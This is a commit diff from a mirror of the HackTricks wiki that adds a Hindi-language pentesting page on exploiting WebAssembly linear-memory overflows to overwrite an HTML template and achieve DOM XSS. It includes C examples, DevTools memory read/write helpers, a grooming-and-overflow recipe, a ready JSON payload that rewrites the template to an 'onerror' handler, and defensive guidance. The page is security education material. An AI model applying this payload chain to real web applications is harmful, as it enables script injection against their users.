mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/README.md', 'sr
This commit is contained in:
parent
8cefc4a118
commit
9f3769962a
@ -725,6 +725,7 @@
|
||||
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
|
||||
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
||||
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
|
||||
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
||||
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,133 @@
|
||||
# WebAssembly linear memory corruption to DOM XSS (template overwrite)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
यह तकनीक दिखाती है कि कैसे Emscripten से कम्पाइल किए गए एक WebAssembly (WASM) मॉड्यूल के अंदर का memory-corruption बग, sanitized input होने पर भी एक भरोसेमंद DOM XSS में बदल सकता है। केंद्रित चाल यह है कि sanitized source string पर हमला करने के बजाय, WASM linear memory में writable constants (उदा., HTML format templates) को भ्रष्ट किया जाए।
|
||||
|
||||
Key idea: WebAssembly मॉडल में, code गैर-लिखने योग्य executable pages में रहता है, लेकिन मॉड्यूल का डेटा (heap/stack/globals/"constants") एक ही फ्लैट linear memory में रहता है (pages of 64KB) जिसे मॉड्यूल द्वारा लिखा जा सकता है। अगर buggy C/C++ code out-of-bounds लिखता है, तो आप adjacent objects और यहां तक कि linear memory में embedded constant strings को overwrite कर सकते हैं। जब ऐसा constant बाद में DOM sink के जरिए insertion के लिए HTML बनाने में इस्तेमाल होता है, तब आप sanitized input को executable JavaScript में बदल सकते हैं।
|
||||
|
||||
Threat model and preconditions
|
||||
- Web app Emscripten glue (Module.cwrap) का उपयोग करके एक WASM module को कॉल करता है।
|
||||
- Application state WASM linear memory में रहता है (उदा., user buffers के pointers/lengths वाले C structs)।
|
||||
- Input sanitizer storage से पहले metacharacters को encode करता है, लेकिन बाद की rendering, WASM linear memory में stored format string का उपयोग करके HTML बनाती है।
|
||||
- एक linear-memory corruption primitive मौजूद है (उदा., heap overflow, UAF, या unchecked memcpy).
|
||||
|
||||
Minimal vulnerable data model (example)
|
||||
```c
|
||||
typedef struct msg {
|
||||
char *msg_data; // pointer to message bytes
|
||||
size_t msg_data_len; // length after sanitization
|
||||
int msg_time; // timestamp
|
||||
int msg_status; // flags
|
||||
} msg;
|
||||
|
||||
typedef struct stuff {
|
||||
msg *mess; // dynamic array of msg
|
||||
size_t size; // used
|
||||
size_t capacity; // allocated
|
||||
} stuff; // global chat state in linear memory
|
||||
```
|
||||
कमज़ोर लॉजिक पैटर्न
|
||||
- addMsg(): sanitized input के आकार का नया buffer allocate करता है और s.mess में msg जोड़ता है, जरूरत पड़ने पर realloc के साथ capacity को दोगुना कर देता है.
|
||||
- editMsg(): फिर से sanitize करता है और memcpy’s के जरिए नए bytes को मौजूदा buffer में डालता है बिना यह सुनिश्चित किए कि नया लंबाई ≤ पुरानी allocation → intra‑linear‑memory heap overflow.
|
||||
- populateMsgHTML(): sanitized text को linear memory में मौजूद एक baked stub जैसे "<article><p>%.*s</p></article>" के साथ format करता है. लौटाया गया HTML एक DOM sink (उदा., innerHTML) में जाता है.
|
||||
|
||||
Allocator grooming with realloc()
|
||||
```c
|
||||
int add_msg_to_stuff(stuff *s, msg new_msg) {
|
||||
if (s->size >= s->capacity) {
|
||||
s->capacity *= 2;
|
||||
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
|
||||
if (s->mess == NULL) exit(1);
|
||||
}
|
||||
s->mess[s->size++] = new_msg;
|
||||
return s->size - 1;
|
||||
}
|
||||
```
|
||||
- प्रारंभिक क्षमता को पार करने के लिए पर्याप्त messages भेजें। वृद्धि के बाद, realloc() अक्सर s->mess को linear memory में अंतिम user buffer के ठीक बाद रखता है।
|
||||
- editMsg() के जरिए अंतिम message को overflow करें ताकि s->mess के अंदर फ़ील्ड्स को clobber किया जा सके (उदा., msg_data pointers को overwrite करें) → बाद में render होने वाले data के लिए linear memory में arbitrary pointer rewrite।
|
||||
|
||||
Exploit pivot: sanitized source की जगह HTML template (sink) को overwrite करें
|
||||
- Sanitization input को protect करता है, sinks को नहीं। populateMsgHTML() द्वारा उपयोग किया गया format stub ढूँढें, उदाहरण:
|
||||
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
|
||||
- Linear memory को scan करके उस stub को deterministic तरीके से locate करें; यह Module.HEAPU8 के भीतर एक plain byte string होता है।
|
||||
- जब आप stub को overwrite कर देते हैं, तो sanitized message content onerror के लिए JavaScript handler बन जाता है, इसलिए alert(1337) जैसा टेक्स्ट वाला नया message जोड़ने पर <img src=1 onerror=alert(1337)> बनकर तुरंत DOM में execute हो जाता है।
|
||||
|
||||
Chrome DevTools workflow (Emscripten glue)
|
||||
- JS glue में पहले Module.cwrap कॉल पर breakpoint लगाएँ और wasm call site में step into करें ताकि pointer arguments (linear memory के numeric offsets) को capture कर सकें।
|
||||
- Console से WASM memory पढ़ने/लिखने के लिए Module.HEAPU8 जैसे typed views का उपयोग करें।
|
||||
- सहायक snippets:
|
||||
```javascript
|
||||
function writeBytes(ptr, byteArray){
|
||||
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
|
||||
for(let i=0;i<byteArray.length;i++){
|
||||
const byte = byteArray[i];
|
||||
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
|
||||
HEAPU8[ptr+i]=byte;
|
||||
}
|
||||
}
|
||||
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
|
||||
function readBytesAsChars(ptr,len){
|
||||
const bytes=HEAPU8.subarray(ptr,ptr+len);
|
||||
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
|
||||
}
|
||||
function searchWasmMemory(str){
|
||||
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
|
||||
for(let i=0;i<mem.length-pat.length;i++){
|
||||
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
|
||||
if(ok) console.log(`Found "${str}" at memory address:`, i);
|
||||
}
|
||||
console.log(`"${str}" not found in memory`);
|
||||
return -1;
|
||||
}
|
||||
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
|
||||
```
|
||||
अंत-से-अंत exploitation नुस्खा
|
||||
1) Groom: realloc() को ट्रिगर करने के लिए N छोटे संदेश जोड़ें। सुनिश्चित करें कि s->mess एक user buffer के सटे हों।
|
||||
2) Overflow: अंतिम संदेश पर editMsg() कॉल करें और लंबा payload भेजकर s->mess में एक एंट्री overwrite करें, जिससे message 0 का msg_data (stub_addr + 1) की ओर इशारा करे। +1 अग्रिम '<' को स्किप करता है ताकि अगले edit के दौरान tag alignment बरकरार रहे।
|
||||
3) Template rewrite: message 0 को edit करें ताकि उसके bytes template को निम्न से overwrite कर दें: "img src=1 onerror=%.*s "
|
||||
4) Trigger XSS: एक नया संदेश जोड़ें जिसका sanitized content JavaScript हो, जैसे alert(1337)। रेंडरिंग <img src=1 onerror=alert(1337)> निकालती है और यह execute हो जाता है।
|
||||
|
||||
Example action list to serialize and place in ?s= (Base64-encode with btoa before use)
|
||||
```json
|
||||
[
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
|
||||
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
|
||||
{"action":"add","content":"alert(1337)","time":1756840476392}
|
||||
]
|
||||
```
|
||||
Why this bypass works
|
||||
- WASM linear memory से code execution रोकता है, लेकिन linear memory के अंदर का constant data writable हो सकता है अगर program logic buggy हो।
|
||||
- Sanitizer केवल source string की रक्षा करता है; sink (HTML template) को corrupt करके, sanitized input JS handler value बन जाता है और DOM में insert होने पर execute हो जाता है।
|
||||
- realloc()-driven adjacency और edit flows में unchecked memcpy pointer corruption को सक्षम करते हैं जिससे writes को attacker-chosen addresses (linear memory के भीतर) पर redirect किया जा सकता है।
|
||||
|
||||
Generalization and other attack surface
|
||||
- linear memory में embedded कोई भी in-memory HTML template, JSON skeleton, या URL pattern target किया जा सकता है ताकि sanitized data downstream में कैसे interpret होता है वह बदल दिया जाए।
|
||||
- अन्य सामान्य WASM pitfalls: out-of-bounds writes/reads in linear memory, UAF on heap objects, function-table misuse with unchecked indirect call indices, and JS↔WASM glue mismatches।
|
||||
|
||||
Defensive guidance
|
||||
- edit paths में, सुनिश्चित करें कि new length ≤ capacity; copy से पहले buffers को resize करें (realloc to new_len) या size-bounded APIs (snprintf/strlcpy) का उपयोग करें और capacity को ट्रैक करें।
|
||||
- immutable templates को writable linear memory से बाहर रखें या उपयोग से पहले उनकी integrity जांचें।
|
||||
- JS↔WASM boundaries को untrusted मानें: pointer ranges/lengths को validate करें, exported interfaces को fuzz करें, और memory growth को cap करें।
|
||||
- sink पर sanitize करें: WASM में HTML build करने से बचें; innerHTML-style templating के बजाय safe DOM APIs का उपयोग करें।
|
||||
- privileged flows के लिए URL-embedded state पर भरोसा करने से बचें।
|
||||
|
||||
## References
|
||||
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
|
||||
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
|
||||
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
|
||||
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
|
||||
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user